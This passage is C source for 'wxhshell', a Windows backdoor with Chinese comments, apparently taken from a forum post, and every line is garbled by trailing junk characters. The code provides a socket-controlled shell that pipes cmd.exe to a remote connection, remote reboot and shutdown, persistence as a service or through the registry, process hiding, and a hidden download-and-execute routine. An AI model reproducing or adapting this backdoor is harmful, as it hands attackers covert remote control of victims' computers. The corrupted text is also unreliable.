    switch(cmd[0]) { m.Zy$SDj(  
  y2#>a8SRS  
  // 帮助 nJN-U+)u  
  case '?': { M x#L|w`r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]wU/yc)e  
    break; 6Lq`zU^  
  } Gd%i?(U,R  
  // 安装 1~L;S  
  case 'i': { fOHbgnL>  
    if(Install()) W4^zKnH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WK`o3ayH-  
    else Intuda7e1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b},2A'X  
    break; G^k'sgy.  
    } ` 5Kg[nB:  
  // 卸载 s;OGb{H7  
  case 'r': { L?d?O  
    if(Uninstall()) }h45j84)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :C} I6v=  
    else lK=Is v+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u_^mN9h  
    break; IRm}?hHf  
    } <@;}q^`  
  // 显示 wxhshell 所在路径 |gO7`F2  
  case 'p': { >S7t  
    char svExeFile[MAX_PATH];  k;+TN9  
    strcpy(svExeFile,"\n\r"); h8`On/Ur_8  
      strcat(svExeFile,ExeFile); l&+O*=#Hh  
        send(wsh,svExeFile,strlen(svExeFile),0); A[+)PkR  
    break; *HR pbe2  
    } ?K[Y"*y2  
  // 重启 j9 >[^t3U  
  case 'b': { Unb2D4&'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z1Ieva]  
    if(Boot(REBOOT)) <!Cjq,Sk7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h$'6."I  
    else { 6U*CR=4  
    closesocket(wsh); 6^LXctW.  
    ExitThread(0); zX_F+"]THt  
    } O3o ^%0  
    break; Xs052c|s  
    } kJ5z['4?  
  // 关机 mxgT}L0i  
  case 'd': { t8-Nli*O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )hrsA&1w  
    if(Boot(SHUTDOWN)) b_~XTWP$l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `&D#P%  
    else { RBrb7D{  
    closesocket(wsh); =Q(J!f  
    ExitThread(0); hAf/&yA@  
    } kFp^?+WI%H  
    break; c36p+6rJk=  
    } 'z"vk  
  // 获取shell 9Y.(xp &vw  
  case 's': { @\?ub F  
    CmdShell(wsh); 5,gT|4|B\g  
    closesocket(wsh); QGuqV8 y0  
    ExitThread(0); ?4R%z([X7  
    break; W 94:%  
  } $VHIU1JjZ  
  // 退出 ) 1AAL0F\B  
  case 'x': { F9j@KC(yg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sxq@W8W  
    CloseIt(wsh); ck{S  
    break; }?,?2U,8:  
    } 1- s(v)cxh  
  // 离开 ^5E9p@d"J  
  case 'q': { N4+Cg t(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (SRY(q  
    closesocket(wsh); ~6i'V?>  
    WSACleanup(); g9" wX?*  
    exit(1); F9o7=5WAb  
    break; Xb%Q%"?~  
        } vWoppt  
  } /*y5W-'d^  
  } Q[#}Oh6$  
?0t^7HMP  
  // 提示信息 L=#NUNiXr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zfKO)Itd  
} P$U" y/  
  } H\Qk U`b  
W\zZ&*8$  
  return; /Ot3[B  
} @G2# Z  
;-VZVp}Y  
// shell模块句柄 r"2lcNE  
int CmdShell(SOCKET sock) X=#us7W}  
{ pZ>yBY?R8>  
STARTUPINFO si; [o<hQ`&  
ZeroMemory(&si,sizeof(si)); v>wN O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %!nI]|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  !vf:mMo  
PROCESS_INFORMATION ProcessInfo; 8+[Vo_]  
char cmdline[]="cmd"; PN93.G(W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vQ*[tp#qU  
  return 0; 0fewMS*  
} I #1~CbR  
*Mhirz% iD  
// 自身启动模式 /8e}c`  
int StartFromService(void) cRf F!EV  
{ X~jdOaq{F:  
typedef struct  c`xNTr01  
{ G"?7 Z&+  
  DWORD ExitStatus; *eoH"UFYQ#  
  DWORD PebBaseAddress; d/9YtG%q  
  DWORD AffinityMask; m&gd<rt/  
  DWORD BasePriority; ~QbHp|g  
  ULONG UniqueProcessId; ,7j8+p|},  
  ULONG InheritedFromUniqueProcessId; Yc]V+NxxQ  
}   PROCESS_BASIC_INFORMATION; )oCL![^pXe  
q2E{o)9  
PROCNTQSIP NtQueryInformationProcess; 3cghg._  
fc3nQp7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f8lyH'z0 @  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Lj ]NtO  
1]:,Xa+|S  
  HANDLE             hProcess; {KHI(*r;  
  PROCESS_BASIC_INFORMATION pbi; M3-lL;!n  
,A{Bx`o?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &"%Ws{Qn]  
  if(NULL == hInst ) return 0; 7=Muq]j2  
our ^J8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :o!Kz`J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X0 |U?Ib?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /#Pm'i>B  
u"qu!EY2  
  if (!NtQueryInformationProcess) return 0; "j_iq"J  
0FcDO5ia  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vSnVq>-q&  
  if(!hProcess) return 0; 3`reXms*{  
&tZIWV1&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v<v;ZR)  
}3: mn  
  CloseHandle(hProcess); Nl YFS?5  
*:H,-@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jz<}9Kze  
if(hProcess==NULL) return 0; qkhre3  
s8,YQ5-  
HMODULE hMod; eWDXV-xD  
char procName[255]; @}4>:\es  
unsigned long cbNeeded; :o^ioX.J  
X&zGgP/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +zMhA p  
)r46I$]>  
  CloseHandle(hProcess); GPHb-  
+ -Rf@  
if(strstr(procName,"services")) return 1; // 以服务启动 6HCg<_j]  
q#3T L<  
  return 0; // 注册表启动 V| Fo@  
} c)#7T<>*'  
GG>53} 7{  
// 主模块 ^)9/Wz _x  
int StartWxhshell(LPSTR lpCmdLine) "~ID.G|<  
{ SOR\oZ7  
  SOCKET wsl; nqH[ y0  
BOOL val=TRUE; zY\u" '4  
  int port=0; PFp!T [)  
  struct sockaddr_in door; IQ<G .  
Sk53Lc  
  if(wscfg.ws_autoins) Install(); bQ>wyA+G&E  
TQO|C?  
port=atoi(lpCmdLine); G@DNV3Cc  
Mrk3r/ 8w  
if(port<=0) port=wscfg.ws_port; [l^XqD D4  
 {8K  
  WSADATA data; 4|_xz; i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :? B4q#]N  
*N$XQ{o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u;9iuc` *  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fh`Y2s|:7R  
  door.sin_family = AF_INET; XcoX8R%U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "}_ J"%  
  door.sin_port = htons(port);  ="]r{  
.<QKQ%-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sd\}M{U  
closesocket(wsl); =iW hK~S  
return 1; RCTqV.L  
} CfW#Wk:8J  
_XZK2Q[  
  if(listen(wsl,2) == INVALID_SOCKET) { q}Po)IUT`5  
closesocket(wsl); =* 'yGB[x)  
return 1; ;cf$u}+  
} (KC08  
  Wxhshell(wsl); fwt+$`n  
  WSACleanup(); ?jMM@O`Nu  
!7\dr )  
return 0; 9QP=  
4e>f}u 5  
} ?&0CEfa?  
#8t=vb3  
// 以NT服务方式启动 XwEMF5[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hub]M  
{ @XG1d)sE  
DWORD   status = 0; iyCH)MA  
  DWORD   specificError = 0xfffffff; x=rMjz-`_  
EB&hgz&_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ijiw`\;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \ &|xMw[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qWK}  
  serviceStatus.dwWin32ExitCode     = 0; }2LG9B%  
  serviceStatus.dwServiceSpecificExitCode = 0; fV4eGIR&  
  serviceStatus.dwCheckPoint       = 0; vULDKJNHX  
  serviceStatus.dwWaitHint       = 0; xKL(:ePS  
]u|FcwWc3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I*U7YqDC9  
  if (hServiceStatusHandle==0) return; xb[yy}>"L  
?W ^`Fa)]o  
status = GetLastError(); M#2<|VUW,  
  if (status!=NO_ERROR) 'exR;q\  
{ < k(n%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8ZV!ld  
    serviceStatus.dwCheckPoint       = 0; ;gEEdx'&T  
    serviceStatus.dwWaitHint       = 0; Q-h< av9  
    serviceStatus.dwWin32ExitCode     = status; ~uY5~Qs9G  
    serviceStatus.dwServiceSpecificExitCode = specificError; U !+O+(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hFoeVM[h  
    return; 0o7o;eN  
  } -U> )B  
,hNs{-*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z-t qSw8n  
  serviceStatus.dwCheckPoint       = 0; c)Q-yPMl)  
  serviceStatus.dwWaitHint       = 0; 6$PQ$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =^M Q 4  
} b/.EA' /  
=Cf@!wZ^  
// 处理NT服务事件,比如:启动、停止 d^?e*USh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |o eg'T  
{ UBv#z&@[  
switch(fdwControl) m6 M/G  
{ g#{7qmM  
case SERVICE_CONTROL_STOP: $n8&5<  
  serviceStatus.dwWin32ExitCode = 0; KDg%sgRu}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /FXb,)1t  
  serviceStatus.dwCheckPoint   = 0; T^8`ji  
  serviceStatus.dwWaitHint     = 0; ;(E]mbV'=  
  { 1| WDbk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D {E,XOi  
  } Xl$r720ZJr  
  return; E\4ZUGy0  
case SERVICE_CONTROL_PAUSE: uuHs)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rr1,Ijh{D  
  break; F'<XB~ &o  
case SERVICE_CONTROL_CONTINUE: 7zQGuGo(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l66 QgPA  
  break; /FTP8XHwL)  
case SERVICE_CONTROL_INTERROGATE: (Ms #)E  
  break; ?aaYka]  
}; %j2:W\g:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }cW8B"_"  
} hHEn  
QWm g#2'  
// 标准应用程序主函数 Rz>@G>b:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p*$=EomY  
{ (8S+-k?  
4nd)*0{ f  
// 获取操作系统版本 )MN6\v  
OsIsNt=GetOsVer(); :`yW^b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !=vsY]  
!+hw8@A  
  // 从命令行安装 %MtaWZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); :q1j?0 {2N  
!k 'E  
  // 下载执行文件 *Q [%r  
if(wscfg.ws_downexe) { Z~ q="CA4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 n{+_   
  WinExec(wscfg.ws_filenam,SW_HIDE); H5FWk  
} S2I{?y&K  
V-%jSe<  
if(!OsIsNt) { o9D#d\G  
// 如果时win9x,隐藏进程并且设置为注册表启动 nm|"9|/  
HideProc(); IQ#Kod;)  
StartWxhshell(lpCmdLine); 5?#AS#TD'  
} .Pe^u%J6F  
else ,mp^t2  
  if(StartFromService()) U z)G Y  
  // 以服务方式启动 0rDQJCm  
  StartServiceCtrlDispatcher(DispatchTable); <aMihT)dd  
else  #s=\  
  // 普通方式启动 mk-L3H1@J3  
  StartWxhshell(lpCmdLine); tp V61L   
ewYk>  
return 0; 8(6mH'^y  
}
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只看该作者 1 发表于: 2006-10-10
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